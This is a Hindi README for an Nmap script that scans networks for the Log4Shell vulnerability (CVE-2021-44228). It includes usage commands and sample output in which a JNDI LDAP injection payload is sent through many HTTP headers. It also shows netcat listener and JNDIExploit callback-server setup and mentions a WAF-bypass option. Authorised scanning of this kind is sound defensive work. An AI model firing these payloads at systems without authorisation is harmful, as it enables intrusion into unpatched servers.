
Nmap NSE स्क्रिप्ट जो HTTP हेडर या TCP/UDP सॉकेट के माध्यम से नेटवर्क में JNDI एक्सप्लॉइट पेलोड इंजेक्ट करके Apache Log4j RCE (CVE-2021-44228) का पता लगाने के लिए है।
nmap-log4shell नेटवर्क में Apache Log4j RCE (CVE-2021-44228) भेद्यता की खोज के लिए एक NSE स्क्रिप्ट है। यह स्क्रिप्ट HTTP हेडर (डिफ़ॉल्ट) या TCP/UDP सॉकेट के माध्यम से log4shell एक्सप्लॉइट पेलोड इंजेक्ट करने में सक्षम है।
CVE-2021-44228 Apache Log4j 2 में एक रिमोट कोड एक्सेक्यूशन (RCE) भेद्यता है। कोई भी अनप्रमाणित (unauthenticated), रिमोट हमलावर log4j के कमजोर संस्करण चलाने वाले सर्वर पर एक विशेष रूप से तैयार अनुरोध भेजकर इस दोष का फायदा उठा सकता है। तैयार अनुरोध विभिन्न सेवाओं के माध्यम से Java Naming and Directory Interface (JNDI) इंजेक्शन का उपयोग करता है, जिनमें शामिल हैं:
यदि कमजोर सर्वर अनुरोधों को लॉग करने के लिए log4j का उपयोग करता है, तो एक्सप्लॉइट उपरोक्त सेवाओं में से किसी एक के माध्यम से JNDI पर हमलावर-नियंत्रित सर्वर से एक दुर्भावनापूर्ण पेलोड का अनुरोध करेगा। सफल शोषण से RCE हो सकता है।
पता लगाएँ कि आपके सिस्टम पर आपकी nmap स्क्रिप्ट कहाँ स्थित हैं:
~/.nmap/scripts/ या $NMAPDIR हो सकता है/usr/local/Cellar/nmap/<version>/share/nmap/scripts/ हो सकता हैC:\Program Files (x86)\Nmap\scripts हो सकता हैप्रदान की गई स्क्रिप्ट (log4shell.nse) को उस निर्देशिका में कॉपी करें और nmap स्क्रिप्ट DB को अपडेट करने के लिए nmap --script-updatedb चलाएँ।
nmap --script log4shell.nse --script-args log4shell.callback-server=172.17.42.1:1389 -p 8080 172.17.42.2
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-13 21:26 CET
Nmap scan report for 172.17.42.1
Host is up (0.000096s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
| log4shell:
| Payloads:
| ${jndi:ldap:/172.17.42.1:389/log4shell}
| Test Method: HTTP
| URL Path: /
| HTTP Method: GET
| HTTP Headers:
| Access-Control-Request-Method: 200
| Accept: 200
| Access-Control-Request-Headers: 200
| Accept-Charset: 200
| X-Api-Version: 200
| Warning: 200
| Pragma: 200
| Upgrade-Insecure-Requests: 200
| Range,: 400
| Hostname: 200
| Content-Length: 400
| Dnt: 200
| Date: 200
| Username: 200
| Content-Encoding: 200
| Content-Type: 200
| Forwarded: 200
| Max-Forwards: 200
| Accept-Encoding: 200
| Referer: 200
| IP: 200
| IPaddress: 200
| X-Amz-Date: 200
| X-Amz-Target: 200
| TE: 200
| Content-Disposition: 200
| X-Requested-With: 200
| upgrade-insecure-requests: 200
| Authorization: 200
| Cookie: 200
| User-Agent: 200
| Accept-Language: 200
| Proxy-Authorization: 200
| Expect: 417
| From: 200
| Accept-Datetime: 200
| X-CSRF-Token: 200
| Origin: 200
|_ Note: (!) Inspect the callback server (172.17.42.1:389) or web-application (172.17.42.2:8080) logs
log4shell.callback-server: कॉलबैक सर्वर (जैसे 172.17.42.1:1389)log4shell.http-headers: HTTP हेडरों की अल्पविराम-पृथक सूची (जैसे X-Api-Version,User-Agent,Referer)log4shell.http-method: HTTP विधि (डिफ़ॉल्ट: GET)log4shell.url-path: URL पथ (डिफ़ॉल्ट: /)log4shell.waf-bypass: WAF बायपास पेलोड का उपयोग करें (डिफ़ॉल्ट: false)log4shell.test-method: http (डिफ़ॉल्ट), tcp, udp या all के माध्यम से परीक्षण करेंस्क्रिप्ट स्कैन किए जा रहे लक्ष्य से कॉलबैक पर निर्भर करती है और इसलिए कोई भी फ़ायरवॉल नियम या अन्य सुरक्षा उपकरणों के साथ सहभागिता स्क्रिप्ट की प्रभावशीलता को प्रभावित करेगी।
Netcat (या ncat) के साथ एक TCP पोर्ट सुनें:
ncat -vkl 1389 # Ncat
nc -lvnp 1389 # Netcat
Nmap को --script log4shell.nse स्क्रिप्ट के साथ चलाएँ
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
Netcat (या ncat) आउटपुट में लक्ष्य IP पता देखें:
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38898.
GitHub से JNDIExploit डाउनलोड करें (https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip)
JNDIExploit सर्वर प्रारंभ करें:
java -jar JNDIExploit.jar
Nmap को --script log4shell.nse स्क्रिप्ट के साथ चलाएँ
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
प्राप्त LDAP क्वेरी देखने के लिए JNDIExploit आउटपुट देखें
[+] Received LDAP Query: log4shell
[!] Invalid LDAP Query: log4shell
यह प्रोजेक्ट केवल शैक्षिक और नैतिक परीक्षण उद्देश्यों के लिए बनाया गया है। पूर्व पारस्परिक सहमति के बिना लक्ष्यों पर हमला करने के लिए nmap-log4shell का उपयोग अवैध है। सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करना अंतिम उपयोगकर्ता की जिम्मेदारी है। डेवलपर्स कोई दायित्व नहीं मानते हैं और इस प्रोग्राम के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।
प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है।